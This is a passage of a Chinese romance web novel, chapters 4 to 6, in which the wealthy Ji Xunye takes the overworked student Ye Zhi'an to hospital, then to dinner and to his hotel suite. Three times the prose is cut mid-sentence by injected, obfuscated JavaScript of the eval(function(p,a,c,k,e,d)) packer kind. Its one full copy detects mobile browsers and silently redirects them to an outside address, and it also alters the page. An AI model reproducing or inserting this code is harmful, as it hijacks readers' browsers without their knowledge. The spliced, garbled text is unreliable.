纪浔也一阵好笑,错过了纠正这称呼的时间,先一步听见她做自我介绍:“我叫叶——” 他打断:“我知道,你是叶昭昭。” 叶芷安一愣,随即绷紧了唇,戴在手腕上扯了一路的红绳,终于被她鼓足勇气扯断,掉落到脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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纪浔也应了声,一面将微信切换到平板在线模式,有消息弹出,纪时愿发来的,继续跟他愤愤不平地吐槽自己那看上戏子的未婚夫。 一心二用的结果是,他再次错过了“昭昭”的全名。 “人家是姓叶,但昭昭只是她小名,只有跟她关系亲近的人才会这么叫她。要是你以后真在北城遇到她了,记住,千万别用这两个字,叫她小叶,或者叶芷安就行,省的唐突了她。” 纪浔也回了几句,不想再搭理纪时愿,直接掐了屏幕,将注意力全落到秦之微那处,“不过你应该忘记小叶长什么样了,到时候就算见到,估计也认不出。” 这句话唤醒了纪浔也的记忆,包括他对今晚的叶芷安的所有印象。 浮光掠影里,他总能瞥见她发红的耳尖,不知为何,看着像垂耳兔,软软糯糯的,让人想要掐上一把。 嗓音也软,带着吴侬软语的清甜。 “这姑娘挺好认的。”他说,“不经逗。” 秦之微琢磨出潜台词:“你俩见过了?” “刚见过,人也替你照拂过了。” 就是不知道送人回家,在他小姨眼里,算不算特殊照顾。 “小叶是个好孩子,生活上,你能帮衬的就多多帮衬。”毕竟这事对他而言,只是举手之劳。 纪浔也应得随意,心里想的却是:估计以后没机会见面了。 然而一周不到,他就见到了这人,在赵泽投资的酒吧里。 酒吧实行VIP会员制,但这只能筛选出阶级,筛选不出人品,一场混乱过后,纪时愿收起看热闹的眼睛,抿了口低纯度果酒,“有时候我是真不明白了,你们男人怎么做到一看见好看的女生就管不住自己腿?要我说啊,男的就该挂在墙上。” 说完,她才想到去看纪浔也的表情,“当然二哥,你是例外。” “想骂我不行就直说。” “……” 她哪有这胆子? 纪时愿放下酒杯,“我去看看刚才那被调戏的调酒师妹妹。” 她起身离开不到五秒,原路折返,“二哥,那调酒师好像一直在看你。” 话落,纪时愿像发现了新大陆一样,瞪大眼睛,拖着调咦了声,又扑哧笑出来,“不得了,居然还看出了鼻血……二哥,你这算不算是秀色可餐啊?” 纪浔也这才转过脑袋,隔着虚晃的人群,和叶芷安对上视线,她鼻下那道红印相当瞩目。 就在眨眼之间,人倒在了地上。 纪时愿一惊一乍的声音第三次响起,“二哥,你完了,你把人看迷倒了!你摊上大事儿了!” 4. 04 第一场雪 在Z&Z酒吧遇到纪浔也前,叶芷安觉得今天一天过得糟糕透了。 就在三小时前,她去了趟盛清月公寓送东西,意外撞见陆显正在发疯折磨人,第一次没忍住替盛清月出了头,结果反被陆显推倒在浴缸,呛了水不说,后腰那块也被撞出大片青紫。 好不容易适应Z&Z的调酒师工作,有人来聊骚挑事,将装有特调鸡尾酒的高脚杯推回她面前,杯底下还垫了张房卡,吊儿郎当的笑挂在嘴边,问她多少价格肯出台。 她心里拱上一团无名火,面上却还是保持着得体的笑容,说这儿是正经酒吧,不提供特殊服务。 男人不恼,当她是在拿乔,抛出高价的同时,目光变得更加暧昧,里头藏着要把人生吞活剥的架势。 应下或许能避免一场风雨,可惜叶芷安既不愿低就,也不想高攀,威逼利诱对她没什么作用。 她也不再维持表面的得体,直截了当地甩了不屑的眼神过去,转瞬收获一句“当了婊/子还立牌坊”的侮辱,人也被甩了个巴掌,经理及时出面,才止住纠纷。 叶芷安不知道Z&Z的幕后老板是谁,只知道这人给钱特别大方,出了这档子后,第一时间送上口头宽慰和高达五位数的安抚费。 这是她应得的,她就不推拒,大大方方收下,刚将手机揣回兜里,遥遥看见几米外卡座上一道身影。 穿梭在他周遭的流光分外澄净,能洗净污秽似的,也将他眉眼衬得清朗。 她心脏猛地一跳,脑袋里闪过一个荒唐的念头:难不成他是她的送财童子? 不然怎么解释每次见到他,她都会收到一笔不小的财富? 酒吧里五花八门的味道混在一起,配合视觉捕捉到的,反复撩拨着神经,她的脚底忽然变得很轻,像踩上棉花,厚厚的一团解体成两部分,一部分罩住双眼,重新找回清明的同时,她鼻尖扑进来若有若无的消毒水味。 这种似梦非梦感,导致她误认为此刻坐在床边那男人是天上月幻化而成的用来迷惑人心智的虚影。 偏偏他低磁的嗓音再真实不过:“医生说你是劳累过度才会晕倒,至于会流鼻血,是因为上火太严重。” 纪浔也原本想说“真巧,又见面了”,转头又觉是句没必要的废话。 空气安静一瞬。 “我上火了?”叶芷安怀疑自己刚才听错了。 “你要是不信我的话,我现在就给你叫来医生当面说。” 叶芷安着急忙慌地摇头,两秒后意识到什么,突地一顿,松开拉住他的手,轻声说:“我信的,只是听到那两个字有点吃惊。” 触碰的感觉还停留在指腹,温温热热的,也像被人抹上一层蜜,激起黏黏腻腻的痒,她不动声色地将手埋进被子里,两指并拢,想要揉搓止痒,又舍不得销毁这甜蜜的遗留物。 纪浔也状似理解地点了点头,“你最近压力很大?” 叶芷安点头又摇头,她的生活压力因为要偿还巨额债务就一直没降下去过。 “那是因为吃了什么?” 她灵光一现,刚要开口,对上男人天生含笑的眼,声音不自觉轻了下来,“你送的那盒巧克力。” “吃了多少?” “全吃完了。” 纪浔也听了想笑,“那玩意这么好吃?” “是我喜欢的。” 叶芷安不喜欢巧克力,因为是他送的,才会喜欢,才会忍不住,但她一开始没打算一口气吃完一整盒,想着先来粒尝尝,剩下的等拖到保质期最后一天再解决完,哪成想,舌尖一沾上那股甜意,就再也停不下来了。 纪浔也头一次见到甜食瘾这么大的人,好笑道:“你是真不怕腻?” “很甜,但不腻,我想我应该还能再吃下几盒。”说完,她稍稍瞪大眼睛,眼神中流露几分追悔莫及的挫败感,“我不是在跟你索要,只是觉得一口气吃完有点可惜了。” 纪浔也不置可否,视线拐了个弯,停在她额头的细长伤痕上,听Z&Z负责人说这处是被闹事那人用指甲划伤的。 “我上次见到你,你是盛清月的生活助理,现在见你又成了调酒师,可别跟我说,下回再见你又能换层身份?” 下回再见? 这是再跟她预告什么,或者只是顺嘴一说? 叶芷安甩开脑子里乱七八糟的想法,纪浔也把话挑得更明白了,“你到底在打几份工?” 以为他是正儿八经问的,叶芷安也就正儿八经的掰开手指数算起来,“除去助理和调酒师外,我还在做电影院票务、西餐厅服务员的兼职,偶尔会接群演、撰写文案的活儿……” 话还没说完,她听见空气里响起一声轻笑,不免赧然,更不明白他为什么这么爱笑,还是说她刚才说错话了? 纪浔也点评了句:“你这业务还挺广泛。” 轮到叶芷安笑了笑,几分雀跃几分羞涩。 纪浔也注意到她弯唇时,嘴角有道很浅的涡,像笑里住进了一轮月牙,心莫名一动,忍不住抬手敲她脑门,“你觉得我刚才是在夸你?” 叶芷安大脑出现转瞬即逝的空白,随即傻里傻气地反问:“不是吗?” 纪浔也没往下接,有点好奇:“你打这么多份工折腾自己,你家里人知不知道?” “我没告诉外婆,”说着她想起他和秦知微的关系,一急,差点又去扯他衣袖,“你也别和秦老师说……外婆年纪大了,容易操些不必要的心,更何况她身体本来就不好了,我不想她因为我的事伤神。” 这话其实已经暴露了她还记得四年前那一次见面的事实,但当时的她没反应过来,至于纪浔也是没放在心上。 “你爸妈不给你生活费?” 叶芷安垂下眼皮,长睫投落的阴影盖住她的表情,“他们给不了的。” 一个被追债追到车祸身亡,另一个早早丢下她跑了,生死不明。 说来讽刺,她在那个家里从未感受过一丝温情,却被这所谓的血缘夺走了数年自由的生活,为了偿还巨额债务,只能沦为金钱的奴隶。 纪浔也没听明白,“嗯?” 叶芷安岔开话题:“医药费是你给我垫付的吧,我把钱还你。” 她并非在为自己的家世感到羞耻,只是觉得没必要说,毕竟这事谁听了都糟心。 察觉出她有难言之隐,纪浔也识趣地没再问下去,“我来这家医院看病就没花过钱,你是我带来的,当然也不用。” 叶芷安半信半疑,“你没骗我吧?” 纪浔也没回答,起身说:“你要是没什么事了,就一起去吃顿饭?” 分明是征求意见般的口吻,留给叶芷安的选项却只有一个,她点了点头,“你送我来医院,这顿该我请你。” “行啊。”他应得爽快。 她眨眨眼睛,半会补充了句:“不过可以别吃太贵的吗?我有点穷。” 这是纪浔也第一次听到别人当着他的面承认自己的窘迫——以往认识那些人要么喜欢打肿脸充胖子,要么就是真阔,一掷千金也只当洒洒水。 他扯了扯唇,又应了声“行”。 叶芷安脑袋还有些晕乎乎的,步伐拖得很慢,纪浔也刻意等她,两个人的距离一直没拉开超过两米。 上车后,叶芷安迟钝地反应过来他又换了一辆车,“上次你送我去燕大开的那辆车,这几天都没开过吗?” 纪浔也说没有,“你喜欢那辆车?” 叶芷安没来得及回答,有气息覆盖过来,逼得她下意识屏住了呼吸,直到他退回原位,顶着无辜又无害的神情示意她:“替你系个安全带。” 喉管里卡着的汹涌气流吐出时,变成哽咽的一声:“哦。” 之后二十分钟,车上一片寂静。 车顺着五道营胡同往里开,视线里多的是青瓦红砖,饶是这个点,也还是一片热闹一片冷清,在庄严肃穆的皇城角下另成一派风光。 纪浔也带人去的是一家叫“隐巷”的私房菜餐厅,红漆木门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这四年里她记得他,甚至一刻都没忘记,但他却连她叫什么名字都不知道,那声“叶昭昭”估计就是从他小姨口中东拼西凑得来的,他一叫,她的心脏就能往下坠,耳膜更是刺痛难忍。 可是后来她最爱听的就是他叫她“叶昭昭”,在他每个情动时分,每个脆弱易碎的节点。 原来同一个名字,还能让人品读出两种截然不同的情绪,可谓神奇。 应侍生端上来一份砂锅雅鱼,叶芷安听说过这道菜,好奇地问:“雅鱼不是雅安的特产吗?怎么北城也有?” “隐巷的特色就在于人不用离开北城,就能吃到来自全国各地的美食,食材也很新鲜,都是每天航运来的。” 叶芷安在心里嘀咕了句:怪不得售价这么贵。 纪浔也看见她夹了一筷子往嘴里送,下一秒眼睛亮了亮,琢磨出她对这道菜是满意的。 “有没有听过,雅鱼头上藏着一把宝剑?”他问。 几乎每一条雅鱼的头骨中,都有一根形状像宝剑的鱼骨,相传这把宝剑是当年女娲补天时,不慎将宝剑掉入水中幻化成的。 叶芷安摇头,“我只听过色字头上一把刀。” 听着像极玩笑话,然而接茬的人却端着再郑重不过的表情,纪浔也没忍住笑出声。 当然他会被逗笑没什么稀奇的,稀奇的是,这笑挂在他脸上足足十几分钟都没卸下来。 他拿起纸巾擦了擦嘴,挑起一个全新的话题:“你平时都在Z&Z上班到几点?” “凌晨三点左右,每周去三到四次。” “这个点学校回不了,你都去哪儿?又是自习室?” 叶芷安实话实说:“这几天都去附近的24小时便利店。” 她并不觉得为生活奔波劳碌是一件丢人的事,哪怕对面是一位养尊处优的公子哥儿,还是她钦慕了好多年的人。 “也就是说,一会儿吃完饭你要一个人在便利店待上几小时。” 她淡笑着点头嗯了声。 唇角的月牙弯又出现了,纪浔也目光稍顿,敛神后也不挪开,用稀松平常的语调说:“别去了,就到我那儿住一晚吧。” 5. 05 第一场雪 这话纯属被鬼迷了心窍,等到冷静下来,他心头本就不多旖旎心思散得一干二净,至于想不想撤回这荒唐的提议,他的答案是无所谓。 她要是应下,他就带他回酒店,和那晚送她一程一样,到时候只是各盖各的棉被纯睡觉。 她要是拒绝,他可以当作什么事情都没发生过。 出乎他的意料,叶芷安什么都没选,独辟蹊径地反抛出一个问题:“我记得你说过你那儿是套房?” 这回应比上次的直接推拒大胆了些,但又好像没大胆到哪儿去。 纪浔也点头,“除主卧外,还有两间客卧,由你选。” 叶芷安对环境的接受能力很强,这两年几乎到了给她一张板凳就能睡着的地步,所以那俩客卧是什么样的,她一点儿都不关心,只是想知道:“纪浔也,这话你对多少人说过呢?” 能看出她是真困惑了,纤长的睫毛像蝴蝶的翅膀一样扑簌簌抖动着,也传递出几分不安。 只是当时的纪浔也并未理解她这份惶恐的源头是什么,想当然地用自认为能安抚人心的措辞回应道:“你算是第一个,不过别担心,只是留你住一晚,我还不至于兽性大发,等你睡着偷偷去撬你房门。” 叶芷安只听见他前半句话,掩下心头的欢喜,“好。” 纪浔也看她两秒,忽而从鼻尖溢出一声意味不明的轻笑。 去酒店的路上,车辆又少了些,冷清压过喧嚣,唯独雪色依旧重,昏暗的夜色都被染亮几分。 云际酒店给叶芷安的第一印象是贵,大厅正中央挂着一台巨大的吊灯,垂落的水晶像溶洞里堆积的石灰沉积物,敞亮的光束和镶了金的墙壁相得益彰,如昼般晃得人眼睛疼。 她抬起手,往额前一挡。 不凑巧,全被纪浔也看在眼里,“干什么呢?” “眼睛要被闪瞎了。” 他隐约还听见一声:“好俗气的装璜,怎么不请我去设计呢?我性价比超高,还能打个折呢。” 纪浔也不知道第几次笑了起来,“那要是以后我自己开酒店了,就请你来设计,好不好?” 大概是昏头了,叶芷安竟从最后三个字里听出宠溺,除了点头外,不知道该给出什么反应。 套房里的两间客卧布置一模一样,只是朝向不同,叶芷安不想让他觉得她对他别有所图,就选了间离主卧更远的。 床上铺着洁白的被褥,床垫又大又软,在上面玩闹,就和在蹦床上一样。 她孩子气的模样透过半开的房门被人尽收眼底,纪浔也一时觉得好玩,就没出声,安静等待着对方先注意到他的存在。 半分钟后,他亲眼目睹她和他对上目光后骤变的神色。 就像一只瘦小孱弱的麋鹿,保留着最为原始的天真,误打误撞下跑进一个满是豺狼虎豹的原始森林,哪怕已经害怕到闭上眼睛、做足示弱求饶的姿态,野兽们依旧有想要将她吞入裹腹的欲望。 很久以后,纪浔也回想起这一幕,万分好奇自己那晚究竟是怎么维持住的那副正人君子姿态。 “你看多久了?”叶芷安感到难为情,别开眼不敢看他。 纪浔也不骗她,“从你开始蹦迪那刻起。” 她脸瞬间红了两个色号。 纪浔也收了逗弄她的心,递过去一个纸袋,“给你准备了睡衣,试试合不合身。” 叶芷安跳下床,拖鞋都没穿,直接光脚到他面前,“你什么时候准备的?” “来酒店的路上,托人准备的,尺码不一定合身,辛苦你凑合一晚上。” 她立刻摇头,“不辛苦的,别说是睡衣,我披着麻袋就能睡觉。” 纪浔也没忍住勾起唇,又摸摸她脑袋,“女孩子就该被富养,所以昭昭小姐,以后对自己好点吧。” 这称呼太犯规了,叶芷安心扑通扑通地狂跳,感觉自己被粉色浪潮包围住,最后连人什么时候走的都不知道。 睡衣是烟粉色的,真丝质地,吊带睡裙睡袍两件套,走起路时裙裾翩跹,柔柔地拂过膝盖。 叶芷安低头看了眼自己的胸口,蕾丝花边将沟壑完完全全地盖住了,领口也不宽松,就算弯下腰,也不会暴露太多。 站在镜子前确认自己的神色看不出超出正常范围的娇嗔,她才开门,小步挪到客厅。 成年男性的半截躯体毫无征兆地在她面前展现开,惊得她短暂地失去语言表达能力,只能傻愣愣地盯住那匀称分明的肌肉线条看,找回自己声音后,差点没像苏念一样对着荧幕里的帅哥模特发出一声声“哇哦”。 在对面呆滞的目光里,纪浔也只觉手里的衬衫扔也不是,穿也不是,索性保持原样,并回以直白的注视。 她个子不算矮,骨架恰到好处,肩背是薄薄的一片,皮肤很白,很容易让人联想到梦溪镇罕见又珍贵的雪,昂起下巴时,又有点像真正意义上的白天鹅。 眼部轮廓和她不言不语发呆时恬静的气质极不相衬,不那么柔和,瞳仁是琥珀色的,被灯光一勾勒,清透明亮,鼻梁一侧有颗极淡的痣,唇形很漂亮,下唇中间有明显的弧度,形状类似花瓣,轻轻一动,仿佛就会有馥郁的花香飘出。 总而言之,是不算魅惑风清的长相,但也挺招人,尤其是在暧昧的氛围里。 比起她的局促不安,纪浔也见怪不怪似的,气定神闲道:“睡衣挺合身。” 叶芷安这才笑了笑,“谢谢你……明天我去干洗店洗了再还你。” “你是觉得我能穿上它,还是能把它转手给第二个人?” “那它要多少钱?我还你。” 纪浔也笑意不达眼底,“叶芷安,你从小到大就没收过别人礼物?” 叶芷安顿了下,“它算礼物?我以为——” 实在难以启齿,她用力咬紧唇。 她想起八岁生日前夕,消失了整整三年的父亲突然全副武装地出现在家里,第一次温声细语地问她这几年和外婆一起过得好不好,然后往她手里塞了个连吊牌都没有的毛绒玩偶,“乖宝,这是爸爸给你的生日礼物,回头你帮我和外婆说声,接下来这段时间我都不回来了,要她照顾好你。” 隔天,讨债的人就来了,家里的东西被砸了一半,抢了一半。外婆抱着瑟瑟发抖的她,轻声哄着:“不怕啊,我们昭昭最勇敢了,都会过去的。” 从那天起,叶芷安明白一个道理:所谓的礼物只是困住人的枷锁,在它送出的那一刻,就已经标记好了未来需要偿还的代价。 纪浔也点上她紧蹙的眉,“别想太多,说是礼物,就只是礼物,不需要你回报任何东西,非要还我点什么的话,那就多笑笑吧,亲爱的昭昭小姐。” 又是这个称呼。 叶芷安心跳猛然加速。 纪浔也又说:“要是明天你离开时,我还没醒,你就打这个电话,会有人来接。” 他绕到茶几一侧,修长有力的手纸捻住便签纸一侧,缓慢推到她面前。 叶芷安不想太麻烦别人,“不用了,我自己一个人可以回去的。” 截至目前,纪浔也都没干过强人所难的事,对她,也不例外,眼皮一撩,嗯了声,“太晚了,你好好休息。” 叶芷安点头,回到房间后,她从包里拿出一个陈旧的笔记本,发了近半小时的呆,才在泛黄的纸张上写下几句话,熄了灯。 隐巷的菜色香味俱全,但对她而言,口味还是偏咸些,第一觉醒来时,舌头干巴巴的,不太好受,她披上睡袍,准备去厨房倒杯水喝,路过客厅,打眼到沙发上的黑影,腿实在长,都能横出一截,曲着的那条,形成耸立的山丘。 他为什么要睡在这儿? 叶芷安鬼使神差地朝他走去,等到距离不能再近后,蹲下身,低垂着眼看他。 四年前,她就觉得他长得太好看,尤其是眉眼,精致得挑不出丝毫瑕疵,嵌在整张脸上,却又不会给人一种阴柔的感觉,就好像他天生就该长成这样,是造物主最和谐的一次创作。 他的身上有股清香,具体什么成分,她没闻出来,将鼻子凑近些,估计是鼻息惊扰到了他,他很快皱了下眉。 叶芷安还没来得及屏住呼吸,就被他的长臂揽进怀里,一阵天旋地转,人直接飞到沙发上,压住他的身体。 她下意识扭动了下,结果被他紧紧摁住肩胛骨,蛊惑人心的嗓音扑进她耳膜:“听话,别闹。” 叶芷安全身都绷紧了,心里开始打起鼓,不过只有她一个人能听见,丢出这句话的男人眼皮依旧阖着,睡出事不关己高高挂起的安稳感。 单方面爱慕着一个人好像就是这样,你不会去责怪他的含糊其辞,只会从他不明朗的话语或行为中揣摩出千百层含义。 一旦同样的情景交换,你却只会懊恼自己的词不达意,无法将心声明明白白地传递出去,一面又在庆幸还好他什么都不知道。 落地窗外晨昏难辨,在日光更加清晰前,叶芷安才从百思不得其解的烦闷中找回些困意。 迷迷糊糊入睡的前一刻,想的是明天上午没有课,也不用去打工,她应该可以睡得久些。 这一觉睡得也确实久,醒来发现自己回到了客卧的床上,至于纪浔也,她没见到他,只看到茶几上多出另一张便签:【有事,下次再见。】 - 昨晚,纪时愿屁颠屁颠也跟去了医院,只是还没找到时机问纪浔也是怎么认识这调酒师、两人到底什么关系时,注意力被岳恒全部占据走。 也就是鼻血事件发生后不久的事,岳恒跑到观月阁戏台上闹了出痴缠戏码,还当着不少观众的面,对着新晋台柱子深情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135452|150068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表白一通。 这段视频还被有心人发到群聊里,平时和纪时愿不对付的公子小姐们开始冷嘲热讽。 【岳恒这情史也是够丰富的,才走了一个嫩模,就来一个戏子。】 【都还没和纪大小姐正式结婚,就把自己玩烂了,这要是婚后,估计会玩得更开,到时候可就有好戏看了。】 纪时愿和岳恒三年前订的婚,在此之前,两人的生活毫无交集,但纪时愿耳朵里经常会扑进岳恒的风月情事,一桩比一桩离谱,有时还能把她恶心得吃不下饭。 纪时愿气到想把手机丢出窗外,被纪浔也的声音拦下,“你现在拿手机出气,不如去岳恒面前,用手机砸他的脸。” “脸可是那狗东西身上唯一的优点了,要是砸坏了,到时候举办婚礼,丢脸的还是我。” “这会嫌丢人了?今天大清早去观月阁闹事的时候怎么不觉得?要不是我去拦下你,你是不是还打算把人戏台都给砸了?” 纪时愿还在气头上,硬是从堂哥懒散的语调中品出幸灾乐祸的意味,“你别光指责我,我这是情有可原。要是你跟岳恒一个德性,没准你未婚妻还会撕了你情人的脸。” “我怎么不知道我有未婚妻了?” 纪时愿听乐了,“这话被温迎听到得气死吧。” “老爷子没跟你说我们纪家已经和温家取消了婚约?” “什么时候的事?为什么要取消?” “是纪书臣的意思,怕我结婚后,在外面花天酒地,娶的妻子恰好又是不依不饶的脾气,不仅遮不住家丑,还非要把那些风月腌臢事往外扬,给纪家光鲜亮丽的门户蒙了尘。” “不愧是有经验的人,想得就是周到。” 纪时愿不过脑嘲讽了句,空气霎时沉寂下来,她后知后觉,心脏一噔,正要找话补救,纪浔也没给她时间,方向盘一转,换成去岳家的路线。 纪时愿一阵慌乱,差点去夺方向盘,“纪浔也,你想干什么?” 纪浔也不含情绪的眼风扫过去,“去给你退个婚。” “你疯了?”他们的婚事还能是他们说了算的吗? 纪浔也不仅置若罔闻,还将车越开越快,在纪时愿惊慌失措时,凉凉笑了声,像在说:不想去就跳车。 纪时愿心脏都快飞出喉咙了,手脚也僵硬冰冷,自然不敢跳,哆哆嗦嗦地开口:“我的好二哥,有什么事情我们好好商量,别因为一时冲动——” “你觉得我这是一时冲动?”纪浔也扯唇笑,“你和那姓岳的订了多久的婚,你就在我面前抱怨了多久,弄的我现在耳朵里全是那垃圾的垃圾事。” 纪时愿小声嘀咕:“那我也是没受住气嘛。” “要你受着了吗?” 她闭嘴了。 纪浔也这才踩了刹车,将车停到路边,“你一个劲地跟我抱怨岳恒有多混账,自己的命有多不好,可这对改变你即将嫁给一个烂人有什么用,你有那浪费口舌的闲工夫,不如亲自出手斩断这不干不净的婚事。” “你说得倒轻巧,可真正做起来,哪能这么容易,至少也得给我时间做足心理准备吧。” 纪时愿小心翼翼地觑着他的反应,刚想再说点什么,注意力被脚垫缝隙里的一条红绳夺走,“二哥,你真有女人了?” 纪浔也斜眼睨她,“别在我面前发昏。” 纪时愿抽出一张纸巾包住红绳,“这难道不是哪个女人留下来的?老实交代,在我之前这辆车还坐过什么人?” 这车他有一周没开过了,至于一周前—— 纪浔也脑子里闪过一张脸。 出神的空档,纪时愿已经分析起来,“绳子磨损得厉害,估计有了些年头,像手工编的,材质挺粗糙……” 她下了结论,“二哥,你载的这人不是我们这圈子的吧。” 纪浔也没搭理她,再次改变路线,将人送回老宅,下车前,纪时愿颇为贴心地说:“垃圾我就替你扔你,就当你送我一程的报酬。” 车辆开出去近三公里后,纪浔也才反应过来,她口中的垃圾是什么。 纪家老宅离燕大不远,回酒店的路上会经过,纪浔也远远看到一道酷似叶芷安的身影,没给他时间求证,人先消失在层层叠叠的树影中。 后来有几天,纪浔也都没见到她,直到周一下午,有事再次路过燕大,这次瞧见她的正脸,抱着一个纸箱,呆呆地站在校门口,像在等人。 纪浔也饶有兴味地盯住她看了几秒,视线里忽然进来一个高腿长的男生,短款羽绒服加牛仔长裤的搭配,脚踩一双黑色帆布鞋,眉目清爽干净。 他一把接过她手里的纸箱,两个人有说有笑地朝里走去,看背影,还挺相称。 赶在他们快要从眼皮子底下消失前,纪浔也摁了两下喇叭。 6. 06 第一场雪 赵泽不知道自己哪儿惹到纪公子了,人一进Z&Z,就没给他好脸色看,他直接把话挑明问,结果反被指责自我意识过剩。 纪浔也笑着补充了句:“我今天对谁都是这张脸。” 赵泽不信,但找不到其他证据反驳,就在他准备放弃反唇相讥前,忽然想起一件事,“我听人说前几天你在我这场子里带走了一个人,叫叶什么来着?” “叶芷安。” 赵泽并不关心她到底叫什么,只对纪浔也这一做法颇感兴趣,“你把她带去干什么了?” 纪浔也不答反问:“你知不知道她就是那天晚上在蓦山溪见到的盛清月那生活助理?” “真的假的?”赵泽露出诧异的神色,“这世界可真小。” 接收到对面意味深长的目光后,他立马接上一句,“这跟我记性好不好,是不是脸盲没关系……在这儿,我只管收钱,经营的事我不负责,更别提招人。” 纪浔也不置可否,片刻将话题拐回去,“送她去医院给她鼻子止了血。” “就这儿?”他怎么不信呢? 纪浔也忽而斜眼看去,眼风凌厉,淬了霜一般,“你看着挺清闲。” 赵泽毫不犹豫地接道:“闲啊。” 他一众所周知的纨绔子弟,除了吃喝玩乐外,就没事儿干了,能不清闲? 纪浔也似笑非笑道:“那就去给自己找点事干。” 他的目光停在高脚杯里泛着莹光的液体上,盯得时间一久,莫名觉得像某个人的眼睛,清澈明亮。 然后想起几个小时前荒唐的举动。 摁下喇叭后,他才意识到自己干了什么,立刻踩了油门扬长而去,至于她和那男生有没有回头看,他完全不知晓。 赵泽没再热脸倒贴冷屁股,拿着手机找到经理要来叶芷安的联系方式,等对面通过后,他直截了当地问:【今晚能来Z&Z不?给你十倍工资。】 小姑娘估计没少被骗过,防备心相当强,留下“稍等”两个字后,再次打电话给经理确认跟自己聊天那人是不是老板,得到对面的肯定回答,才应下。 两分钟不到,又确认了遍:【老板,你确定十倍工资?干的活也还只是调酒?】 赵泽一手执烟,一手敲击键盘:【半小时内到就是这标准。】 二十分钟左右,叶芷安出现在Z&Z,头发、肩上落着零星的雪,室内温度高,融化得也快,没几秒变成湿漉漉的水,灯光一勾,折射出耀眼的光芒,这光还把纪浔也视线吸引走了。 她今晚打扮得挺不一样,米杏色羊羔绒外套里穿一条民族风过膝裙,脚套一双棕色小皮鞋,麻花辫斜织到肩膀一侧,估计是赶着来的,有小撮碎发落下,反衬得人懵懂无害。 不知道在看什么,一双眼睛四处乱瞟,瞟到哪儿,哪儿就有光。 那会叶芷安已经知道Z&Z的幕后老板之一就是纪浔也的朋友,她对那张脸也还有印象,只是这个点的酒吧人实在多,脑袋转了一圈,都没见到他,只好发去微信消息:【老板,我已经到了(半小时内)】 赵泽没回,她把手机揣回兜里,抬头的瞬间,在一道暗橙色光束里,被一张脸攫取走所有注意。 他张嘴说了什么,周遭嘈杂,叶芷安听不清,备受蛊惑地朝那儿走了几步,“纪浔也,你刚才是在跟我说话吗?” 大概是在心里默念过这个名字太多遍,现在每次吐露出口时,都莫名顺滑,也是再熟稔不过的腔调、好似他们真的认识了很多年。 “除了你,还能有谁呢?” 她心一跳,“你和我说什么了?” 纪浔也重复了遍,“过来。” 他的嗓音沾了酒精,显得沙哑,恍若隔世的靡靡之音。 叶芷安真又靠近了些,想起什么,突然像弹簧一样弹开了,“我得去打工,先不和你说了。” 弹簧变成风,一溜烟没了影,不到五分钟再次出现在吧台附近,身上的裙子也换成白衬衫和黑色紧身裤,腰是腰,臀是臀的,肉全往该长的地方长。 很快有人来搭讪,纪浔也听不清他们说了什么,但能从她嘴角垮下的弧度猜出不是什么好听话,他拿起西装外套,走过去,往那人座位面前一放,占山为王的姿态。 这人看过来,到嘴边的垃圾话瞬间瓦解在眼睛辨认出那截冷月般清矜的侧脸后,片刻听见这位不好招惹的不速之客开口:“什么时候下班,一起走?” 只能悻悻然离开。 叶芷安只知纪浔也是在给自己解围,当下却未抿出他话里话外若有若无的占有欲,认真答道:“应该和以前一样,是半夜三点。” 话音落下不久,另一个调酒师前来拍了拍她肩膀,“老板说你今晚干到零点就行,工资就按说好的发。” “你刚才见到老板了?他人在哪?” 叶芷安顺着他指的方向看去,赵泽站在半明半暗的光影里朝她摆了摆手,笑得一脸耐人寻味。 这些公子哥儿怎么一个比一个奇怪? 叶芷安掩下纷飞的情绪,眼皮垂落,看回到纪浔也那儿,发现他已经将衬衫袖子堆叠到小臂,露出的肌理不贲张,匀称漂亮到极点。 纪浔也状似无意地开口:“刚才那个人和你说什么了?” 她猜测他问的是前来聊骚那人,“说要请我喝杯酒。” “你怎么回的?” “我说我工作期间不喝酒。” 很奇怪,她确实没有喝酒,但一对上对面深邃的眼,仿佛跌进慢火里,被熬煮着,烧得心肺又痒又疼。 “然后他就说我不知好歹,给脸不要脸。” 她委屈巴巴地控诉着什么,像极在幼儿园受到欺负回家告状的孩童,纪浔也心像被猫爪挠了下,酥酥麻麻的,平白生出要给她做主的念头。 “下次再有人来骚扰你,你就把这个给他们看。”他从西装内衬掏出一张私人金边名片,递到她手边。 叶芷安看到上面明晃晃的三个大字,是他的名字,“你开了公司?” “不是我开的,家族产业,我在上面挂个名而已。要真有实权,也不至于天天在外游手好闲。” 纪浔也不算健谈,但心情好的时候,任何人抛出一个话题,他都能接上,区别在于,往里掺了几分真情几分假意。 现在能确定的是,和她的每次交流,真情占据上风。这不是一个好征兆。 他岔开话题,“给我调杯不一样的酒。” “什么算不一样?” “菜单上没有的。” 叶芷安终于听出他的话外音,“你是想要我自行发挥?” “不行么?” 她勉为其难地说:“行是行,但我怕把你身体喝坏。” “别怕,就算喝坏了也不找你赔偿。” “我也赔不起。”她小声回道。 纪浔也喉间滚动,咽下那句“谁说你赔不起”,比出一个请的手势。 在他的怂恿下,叶芷安用蓝橙力娇、柠檬汁和雪碧瞎搞一通,调出一杯蓝白分层的鸡尾酒,味道还算不错。 “它叫什么名字?” 叶芷安即兴取了个,“蓝雪。” 